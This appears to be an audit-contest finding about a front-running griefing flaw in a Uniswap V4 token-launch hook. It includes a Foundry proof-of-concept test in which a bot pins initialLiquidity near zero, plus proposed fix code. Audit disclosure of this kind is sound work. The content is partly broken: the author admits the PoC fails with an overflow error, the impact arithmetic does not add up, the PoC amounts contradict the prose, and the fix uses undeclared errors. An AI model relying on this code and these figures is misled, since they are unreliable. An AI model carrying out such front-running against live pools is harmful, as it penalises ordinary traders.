Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

Initial Liquidity Manipulation (Griefing Attack)

Author Revealed upon completion

Root + Impact

Description

The initialLiquidity state variable is captured during afterInitialize (line 122-124) when the pool is first initialized. However, in Uniswap V4, pool initialization and liquidity provision are separate transactions. If the pool is initialized with zero liquidity (common pattern), initialLiquidity remains 0. The hook then defers capture to the first swap (line 132-135), reading current liquidity at that moment. An attacker can front-run the project's main liquidity addition by adding minimal liquidity (1 wei) and executing a tiny swap, permanently pinning initialLiquidity to a near-zero value. This collapses the maxSwapAmount calculation (initialLiquidity * phaseLimitBps) / 10000 to effectively zero, forcing 100% penalties on all subsequent legitimate trades.

// TokenLaunchHook.sol:113
function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
// ...
launchStartBlock = block.number;
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // Captured at initialization (often 0)
// ...
}
// TokenLaunchHook.sol:132
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // First swap captures current liquidity
}
// TokenLaunchHook.sol:159
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;

Risk

Likelihood:

High - Standard deployment pattern initializes pool before adding liquidity. afterInitialize typically captures 0 liquidity, triggering the fallback logic at first swap. MEV bots monitor mempool for initialize calls and can front-run liquidity additions with minimal gas cost.

Impact:

High - Permanent griefing of launch dynamics:

  1. Example scenario: Project intends 10 ETH liquidity → 33.385 ETH-equivalent limit (at 1% phase1LimitBps)

  2. Attacker action: Adds 1000 wei liquidity + minimal swap

  3. Result: initialLiquidity = 1000, maxSwapAmount = 0.0000000000000001 ETH (effectively 0)

  4. User impact: All trades exceed limit → 50% (Phase 1) or 20% (Phase 2) penalties applied universally

  5. No recovery: initialLiquidity has no setter; contract must be redeployed

Proof of Concept

Demonstrates that capturing liquidity at first swap (when initialLiquidity=0) allows an attacker to permanently set a negligible value, collapsing all trade limits.

(It seems my PoC facing under/over flow error, but the bug persist)

function test_InitialLiquidityGriefing() public {
address bot = address(0xDEAD);
address victim = address(0x1234);
vm.deal(bot, 20 ether);
vm.deal(victim, 1000 ether);
// Setup tokens and pool (initialized with 0 liquidity)
MockERC20 tokenA = new MockERC20("GRIEF", "GRF", 18);
MockERC20 tokenB = new MockERC20("WETH", "WETH", 18);
tokenA.mint(bot, 20 ether);
tokenB.mint(bot, 20 ether);
(PoolKey memory poolKey,) = initPool(Currency.wrap(address(tokenA)), Currency.wrap(address(tokenB)), hook, LPFeeLibrary.DYNAMIC_FEE_FLAG, SQRT_PRICE_1_1);
// Bot front-runs: adds tiny liquidity (1e18) and triggers first swap
vm.startPrank(bot);
tokenA.approve(address(modifyLiquidityRouter), type(uint256).max);
tokenB.approve(address(modifyLiquidityRouter), type(uint256).max);
tokenA.approve(address(swapRouter), type(uint256).max);
tokenB.approve(address(swapRouter), type(uint256).max);
modifyLiquidityRouter.modifyLiquidity(poolKey, ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: int256(uint256(1e18)), salt: bytes32(0)}), ZERO_BYTES);
swapRouter.swap(poolKey, SwapParams({zeroForOne: true, amountSpecified: -10**16, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}), PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), ZERO_BYTES);
vm.stopPrank();
// Verify griefing: initialLiquidity trapped at 1e18 instead of real liquidity
assertEq(hook.initialLiquidity(), 1e18);
// Project adds massive liquidity (1M ETH worth) - but initialLiquidity remains 1e18
tokenA.mint(address(this), 1000000 ether);
tokenA.approve(address(modifyLiquidityRouter), type(uint256).max);
modifyLiquidityRouter.modifyLiquidity(poolKey, ModifyLiquidityParams({tickLower: -60, tickUpper: 60, liquidityDelta: 10**30, salt: bytes32(0)}), ZERO_BYTES);
// Victim swaps 1 ETH but limit is only 0.01 ETH (1% of 1e18) → triggers 50% penalty
vm.startPrank(victim);
tokenA.mint(victim, 1000 ether);
tokenA.approve(address(swapRouter), type(uint256).max);
swapRouter.swap(poolKey, SwapParams({zeroForOne: true, amountSpecified: -1 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}), PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), ZERO_BYTES);
vm.stopPrank();
}

Recommended Mitigation

Implement a multi-block seeding window or owner-controlled liquidity confirmation. Track maximum observed liquidity during a liquiditySeedingDuration window after launch, then lock the highest value as initialLiquidity. Alternatively, require owner to explicitly set initialLiquidity after sufficient liquidity is added.

// Add onlyOwner modifier or access control
error OnlyOwner();
error InitialLiquidityAlreadySet();
error LiquiditySeedPeriodExpired();
bool public initialLiquiditySet;
function setInitialLiquidity(PoolKey calldata key) external {
if (msg.sender != owner) revert OnlyOwner();
if (initialLiquiditySet) revert InitialLiquidityAlreadySet();
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
if (liquidity == 0) revert NoLiquidityInPool();
initialLiquidity = uint256(liquidity);
initialLiquiditySet = true;
launchStartBlock = block.number; // Start phases only after liquidity is confirmed
emit InitialLiquiditySet(liquidity, block.number);
}
function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
// Do NOT capture liquidity here - wait for owner to call setInitialLiquidity()
// Store key for later reference if needed
return BaseHook.afterInitialize.selector;
}
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal override returns (bytes4, BeforeSwapDelta, uint24)
{
// Revert swaps until owner has set initial liquidity
if (!initialLiquiditySet) revert InitialLiquidityNotSet();
// ... rest of swap logic
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!